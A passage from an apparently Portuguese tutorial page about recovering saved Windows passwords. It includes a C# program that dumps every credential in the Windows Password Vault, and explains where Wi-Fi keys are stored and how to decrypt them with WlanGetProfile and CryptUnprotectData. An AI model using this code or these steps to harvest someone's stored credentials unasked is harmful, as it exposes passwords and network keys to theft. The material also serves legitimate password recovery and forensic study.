  • C:/ProgramData/Microsoft/Vault/AC658CB4-9126-49BD-B877-31EEDAB3F204

Exemplo Open Source: 

Vamos utilizar como base um código aberto liberado pela licença MIT (Instituto de Tecnologia de Massachusetts) que mostra como é simples capturar as senhas do Internet Explorer 10 de uma linguagem como C# o que antes era somente era possível com complexos códigos em C.

Este exemplo é disponibilizado de modo Open Source, é utilizado através do namespace Windows e o programa tem a saída no console:

Obs: O código abaixo funciona apenas para computadores com o sistema operacional Windows 8  e só pode ser compilado do sistema operacional Windows 8.1, caso queira experimentar nossa ferramenta gratuita que pode ser utilizada no Windows Vista ou superior utilize os links para download que podem ser encontrados logo acima.

Obs 2: Apesar do código abaixo utilizar a linguagem de programação C#, internamente não é classificado como uma compilação .Net Framework e sim Windows Core, incompatibilizando assim qualquer tentativa de referenciar assemblers de código gerenciados entre eles.

C#

/*The MIT License (MIT)
Copyright (c) 2012 Jordan Wright <jordan-wright.github.io>

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.*/

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Windows.Security.Credentials;

namespace PasswordVaultTest
{
class Program
{
static void Main(string[] args)
{
// Create a handle to the Widnows Password vault
Windows.Security.Credentials.PasswordVault vault = new PasswordVault();

// Retrieve all the credentials from the vault
IReadOnlyList<PasswordCredential> credentials = vault.RetrieveAll();

// The list returned is an IReadOnlyList, so there is no enumerator.
// No problem, we'll just see how many credentials there are and do it the
// old fashioned way

for (int i = 0; i < credentials.Count; i++)
{
// Obtain the credential
PasswordCredential cred = credentials.ElementAt(i);

// "Fill in the password" (I wish I knew more about what this was doing)
cred.RetrievePassword();

// Print the result
Console.WriteLine(cred.Resource + ':' + cred.UserName + ':' + cred.Password);
}
Console.ReadKey();
}
}
}

Exemplos Windows Store: http://code.msdn.microsoft.com/windowsapps/Windows-8-Modern-Style-App-Samples

Sistema Operacional: Windows.

Linguagem de programação: A API nativa Wifi é projetado para desenvolvedores de C / C + +. Os programadores devem estar familiarizados com os conceitos de rede sem fio e terminologia.

Objetivo: Criar um pequeno executável que lê  o arquivo xml do perfil de rede do Windows e  descriptografar as chaves encontradas, capturar e salvar as senhas de rede em arquivo externo formato texto,html, ou xml.

Material Extra: Microsoft Native Wifi API http://msdn.microsoft.com/en-us/library/windows/desktop/ms706556(v=vs.85).aspx

Mais informações sobre redes Wi-Fi: https://www.wi-fi.org/

Download : Ferramenta de Captura versão Betha V1.2

 

Como Capturar a Senha de Rede Sem Fio

Algo que você precisa saber sobre chaves de rede sem fio:

As chaves de rede sem fio ( WEP / WPA ) são  armazenadas em seu computador  pelo serviço ” Configuração Automática de WLAN ” do Windows Vista, Windows 7, Windows 8 e Windows Server 2008. Você pode facilmente ler, descriptografar e salvar todas as chaves da rede sem fio para um arquivo de texto / html / xml.

O Windows Vista ou versão superior não converte o WPA- PSK  em uma nova chave de valor binário como Windows XP , mas simplesmente mantem a chave original que você digita. Assim, sob o Windows Vista ou superior , a chave WPA- PSK original que você digitou é exibida no formato de chave ASCII.

DA - Wireless Password Recovery - V1.2

DA – Wireless Password Recovery – V1.2

Onde encontrar as chaves?

Os Registro e Arquivos são a localização das chaves armazenadas

Windows XP e Windows Vista armazena as chaves sem fio em locais completamente diferentes :

Windows XP:

As chaves sem fio são armazenadas no Registro em HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ WZCSVC \ Parameters \ Interfaces \ [Interface Guid ] .

Windows Vista ou versão superior:   As chaves sem fio são armazenados no sistema de arquivos, em C: \ ProgramData \ Microsoft \ Wlansvc \ Profiles \ Interfaces \  . As chaves criptografadas são armazenadas em um arquivo xml. A pasta ProgramData é oculta para visualizar é preciso modificar as configurações de pasta no painel de controle, opções de pasta.

Exemplo do diretório:

pasta: {AB4A8A4C-A902-4389-8D03-F2514287C271}

Arquivo: {DB0CB129-465D-410A-8103-EF5E42E63577}.xml

Exemplo XML:

<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
	<name>rrsrv1</name>
	<SSIDConfig>
		<SSID>
			<hex>727273727631</hex>
			<name>rrsrv1</name>
		</SSID>
	</SSIDConfig>
	<connectionType>ESS</connectionType>
	<connectionMode>auto</connectionMode>
	<MSM>
		<security>
			<authEncryption>
				<authentication>WPAPSK</authentication>
				<encryption>AES</encryption>
				<useOneX>false</useOneX>
			</authEncryption>
			<sharedKey>
				<keyType>passPhrase</keyType>
				<protected>true</protected>
				<keyMaterial>01000000D08C9DDF0115D1118C7A00C04FC297EB0100000013D7D27AF209BB4F8CDA744D06A1F66900000000020000000000106600000001000020000000E1426D68BC8A7F4575111CA1821597ABC7F96094EC5CAF41A892B27DF17DC4A2000000000E8000000002000020000000A3E06EFFB9A0209351B4A55E09D0AAF34487745A8F3D0324B8403AC4FAEA30A710000000DD2283BD47C08228C62F9774D786044E40000000E9E8929F02886A224D9CBE98D9C14A80BD5BB77D878F51831D6A5694ABF4CB4B44C05197923A36B462A87EC85923F7CD438397E068F78AACF83D3AD0DE60D5BB</keyMaterial>
			</sharedKey>
		</security>
	</MSM>
</WLANProfile>

Onde Está a Senha da Rede Sem fio?

Localizados na tag KeyMaterial

WEP Este elemento contém uma chave de 5 ou 13 caracteres ANSI , ou de 10 ou 26 caracteres hexadecimais.

WPAPSK ,WPA2PSK TKIP ou AES PASSPHRASE este elemento contém uma senha de 8 a 63 caracteres ASCII , ou seja, 8 a 63 caracteres ANSI no intervalo de 32-126 . Valores de chave devem estar de acordo com os requisitos especificados pelo 802.11i.

WPAPSK , WPA2PSK TKIP ou AES Network Key este elemento contém uma chave de 64 caracteres hexadecimais.

Caracteres Unicode podem ser inscritos em ANSI ou ASCII são especificados acima. No entanto, se os caracteres Unicode fornecidos não puderem ser mapeados para caracteres ANSI ou ASCII , então o material de chave fornecida é rejeitada.

KeyMaterial é retornado por WlanGetProfile é sempre criptografado . Além disso, se o material da chave não criptografada é passado para WlanSetProfile , o material de chave é automaticamente criptografada antes de ser guardado no armazenamento de perfil.

Windows XP com SP3 e Wireless LAN API para Windows XP com SP2: O material chave nunca é criptografado .

Com o Retornar o Perfil de Rede Sem Fio?

A função WlanGetProfile recupera todas as informações sobre um perfil da rede sem fio especificada.

Por padrão, o elemento KeyMaterial retornado no perfil apontado pelo pstrProfileXml é criptografada. Se o processo é executado no contexto da conta LocalSystem no mesmo computador, então você pode desencriptar material de chave chamando a função CryptUnprotectData.

Windows XP com SP3 e Wireless LAN API para Windows XP com SP2: O material chave nunca é criptografado.

Como Descriptografar?

A função CryptUnprotectData decifra e faz uma verificação de integridade dos dados em uma estrutura DATA_BLOB. Normalmente, o único usuário que pode descriptografar os dados é um usuário com as mesmas credenciais de logon como o usuário que criptografou os dados. Além disso, a criptografia e descriptografia deve ser feito no mesmo computador

Como usar as Funções

WlanGetProfile: C/C++

Header  Wlanapi.h (include Wlanapi.h)

Library  Wlanapi.lib

DLL  Wlanapi.dll

CryptUnprotectData:C/C++

Header  Dpapi.h; Wincrypt.h no Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003, e Windows XP

Library  Crypt32.lib

DLL  Crypt32.dll

Mais informações sobre as funções:

Você pode encontrar exemplos de códigos fontes(C++) de como utilizar estas funções abaixo:

WlanGetProfile: http://msdn.microsoft.com/en-us/library/windows/desktop/ms706738(v=vs.85).aspx

CryptUnprotectData: http://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx